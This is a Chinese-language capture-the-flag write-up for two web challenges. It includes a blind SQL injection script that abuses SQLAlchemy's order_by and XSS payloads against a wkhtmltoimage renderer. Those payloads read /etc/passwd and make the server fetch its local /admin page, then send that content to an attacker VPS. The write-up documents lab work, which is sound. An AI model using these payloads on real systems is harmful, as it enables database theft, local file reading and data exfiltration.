一个外国比赛记录一下web题目
Flaskmetal Alchemist
在附件里看到有版本号
同时发现flag在Flag里面
在这上面看到like与两个%包裹用户输入的数据,这里无法进行注入,往下看到有个order_by这里可控存在注入。
SQLAlchemy 到 1.2.17 和 1.3.x 到 1.3.0b2 允许通过 order_by 参数进行 SQL 注入
import requests
import time
s='abcdefghijklmnopqrstuvwxyz1234567890{}_-[]()!~QWERTYUIOPASDFGHJKLZXCVBNM'
url = "http://challenge.nahamcon.com:30678/"
flag=''
for i in range(1,40):
for a in s:
payload="case when(substr((select flag from Flag),{},1)='{}') then randomblob(1) else 2 end limit 1,1".format(i,a)
data = {"search":"Li","order":payload}
r=requests.post(url,data=data)
if "Beryllium" not in r.text:
flag+=a
print(flag)
break
else:
pass
Hacker Ts
没有注入,插了一下发现应该是考察的xss,同时有admin,但是打不开
你输入啥就会在衣服上打印啥
尝试了一般的恶意代码但是没啥用。
这个文章给了灵感,服务器端 XSS(动态 PDF),存在一个服务端xss,利用本地文件读取
<script>
x=new XMLHttpRequest;
x.onload=function(){document.write(btoa(this.responseText))};
x.open("GET","file:///etc/passwd");x.send();
</script>
payload
<script>
x=new XMLHttpRequest;
x.onload=function(){
document.write(this.responseText)
};
x.open("GET","file:///etc/passwd");
x.send();
</script>
执行报错
使用了 wkhtmltoimage,查询得到wkhtmltopdf,在0.12.6版本默认禁止读取本地文件,
不过还可以利用 XMLHttpRequest 去让服务器访问/admin,然后将访问的内容返回到vps上
<script>
x=new XMLHttpRequest();
x.open("GET","http://localhost:5000/admin");
x.onload=function(){var i = new Image(); i.src = "https://<vps>/?c=" + btoa(this.responseText)};
x.send();
</script>
把payload urlencode之后再用,然后正常情况下应该在vps下监听到,但是竟然直接回显了
flag{461e2452088eb397b6138a5934af6231}
涉及知识点